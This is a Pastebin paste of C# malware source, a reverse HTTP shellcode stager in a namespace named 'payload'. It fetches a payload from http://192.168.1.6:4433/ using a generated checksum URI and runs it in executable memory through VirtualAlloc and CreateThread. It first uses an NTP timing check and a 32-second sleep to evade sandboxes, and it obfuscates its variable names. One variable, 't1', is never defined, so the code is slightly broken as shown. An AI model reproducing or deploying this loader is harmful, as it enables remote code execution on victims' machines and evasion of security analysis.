Advertisement
Guest User

All your base are belong to us

a guest
Apr 26th, 2017
177
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 5.33 KB | None | 0 0
  1. using System;
  2. using System.Net;
  3. using System.Net.Sockets;
  4. using System.Linq;
  5. using System.Runtime.InteropServices;
  6. using System.Threading;
  7.  
  8. namespace payload
  9. {
  10.     class rev_http
  11.     {
  12.         static string randomString(Random r, int s)
  13.         {
  14.             char[] buffer = new char[s];
  15.            
  16.             string chars = "kHp1adhiY7qmJQcNZOtMKCX2Iw0eunx8fjE96sAUoGT5WF3rVgyBPzblRvLDS4";
  17.  
  18.             for (int i = 0; i < s; i++)
  19.             {
  20.                 buffer[i] = chars[r.Next(chars.Length)];
  21.             }
  22.  
  23.             return new string(buffer);
  24.         }
  25.  
  26.         static bool checksum8(string s)
  27.         {
  28.             return ((s.ToCharArray().Select(x => (int)x).Sum()) % 0x100 == 92);
  29.         }
  30.  
  31.         static string genHTTPChecksum(Random r)
  32.         {
  33.             string baseString = "";
  34.             for (int i = 0; i < 64; ++i)
  35.             {
  36.                 baseString = randomString(r, 3);
  37.                 //62
  38.                 string randChars = new string("czPRh9FVwebjIaTWgdKil1H2yMoUXksrvZGDQEJYSntOx0BC7qmNL58uAf346p".ToCharArray().OrderBy(s => (r.Next(2) % 2) == 0).ToArray());
  39.  
  40.                 for (int j = 0; j < randChars.Length; ++j)
  41.                 {
  42.                     string urlName = baseString + randChars[j];
  43.  
  44.                     if (checksum8(urlName))
  45.                     {
  46.                         return urlName;
  47.                     }
  48.                 }
  49.             }
  50.             return "9vXU";
  51.         }
  52.  
  53.         static byte[] getData(string str)
  54.         {
  55.             WebClient webClient = new System.Net.WebClient();
  56.             webClient.Headers.Add("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)");
  57.             webClient.Headers.Add("Accept", "*/*");
  58.             webClient.Headers.Add("Accept-Language", "en-gb,en;q=0.5");
  59.             webClient.Headers.Add("Accept-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.7");
  60.             byte[] s = null;
  61.  
  62.             try
  63.             {
  64.                 s = webClient.DownloadData(str);
  65.                 if (s.Length < 100000) return null;
  66.             }
  67.             catch (WebException) { }
  68.             return s;
  69.         }
  70.  
  71.         static void inject(byte[] s)
  72.         {
  73.             if (s != null)
  74.             {
  75.                 UInt32 funcAddr = VirtualAlloc(0, (UInt32)s.Length, 0x1000, 0x40);
  76.                 Marshal.Copy(s, 0, (IntPtr)(funcAddr), s.Length);
  77.                 IntPtr hThread = IntPtr.Zero;
  78.                 UInt32 threadId = 0;
  79.                 IntPtr pinfo = IntPtr.Zero;
  80.                 hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
  81.                 WaitForSingleObject(hThread, 0xFFFFFFFF);
  82.             }
  83.         }
  84.  
  85.         static void Main()
  86.         {
  87.             var NTPTransmit = new byte[48];
  88.             NTPTransmit[0] = 0x1B;
  89.             var secondTransmit = new byte[48];
  90.             secondTransmit[0] = 0x1B;
  91.  
  92.             var skip = false;
  93.             var addr = Dns.GetHostEntry("us.pool.ntp.org").AddressList;
  94.             var sock = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
  95.  
  96.             try
  97.             {
  98.                 sock.Connect(new IPEndPoint(addr[0], 123));
  99.                 sock.ReceiveTimeout = 6000;
  100.                 sock.Send(NTPTransmit);
  101.                 sock.Receive(NTPTransmit); sock.Close();
  102.             }
  103.             catch
  104.             {
  105.                 skip = true;
  106.             }
  107.  
  108.             ulong runTotal = 0;
  109.  
  110.             for (int i = 40; i <= 43; ++i)
  111.             {
  112.                 runTotal = runTotal * 256 + (uint)NTPTransmit[i];
  113.             }
  114.  
  115.             var time1 = (new DateTime(1900, 1, 1, 0, 0, 0, DateTimeKind.Utc)).AddMilliseconds(1000 * runTotal);
  116.             Thread.Sleep(32 * 1000);
  117.  
  118.             var newSock = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
  119.  
  120.             try
  121.             {
  122.                 var addr2 = Dns.GetHostEntry("us.pool.ntp.org").AddressList;
  123.                 newSock.Connect(new IPEndPoint(addr2[0], 123));
  124.                 newSock.ReceiveTimeout = 6000;
  125.                 newSock.Send(secondTransmit);
  126.                 newSock.Receive(secondTransmit);
  127.                 newSock.Close();
  128.             }
  129.             catch
  130.             {
  131.                 skip = true;
  132.             }
  133.  
  134.             ulong secondTotal = 0;
  135.  
  136.             for (int i = 40; i <= 43; ++i)
  137.             {
  138.                 secondTotal = secondTotal * 256 + (uint)secondTransmit[i];
  139.             }
  140.  
  141.             if (((new DateTime(1900, 1, 1, 0, 0, 0, DateTimeKind.Utc)).AddMilliseconds(1000 * secondTotal) - t1).Seconds >= 32 || skip)
  142.             {
  143.                 Random WTHFHfSFwf = new Random((int)DateTime.Now.Ticks);
  144.                 byte[] KnPUqLweupSUTd = getData("http://192.168.1.6:4433/" + genHTTPChecksum(WTHFHfSFwf));
  145.                 inject(KnPUqLweupSUTd);
  146.             }
  147.         }
  148.  
  149.  
  150.         [DllImport("kernel32")]
  151.         private static extern UInt32 VirtualAlloc(UInt32 MOHHihtHuKLCD, UInt32 imlHarLkgZ, UInt32 zJGnTkxid, UInt32 UyqoMcQNxYUIlU);
  152.         [DllImport("kernel32")]
  153.         private static extern IntPtr CreateThread(UInt32 hahkGAnKO, UInt32 bxZIGGS, UInt32 oarivwSN, IntPtr TYKTHkbceeEJUr, UInt32 GdFMDWJStrTPBx, ref UInt32 ULfFYCrSfa);
  154.         [DllImport("kernel32")]
  155.         private static extern UInt32 WaitForSingleObject(IntPtr tPMBff, UInt32 wvwtGBedj);
  156.     }
  157. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement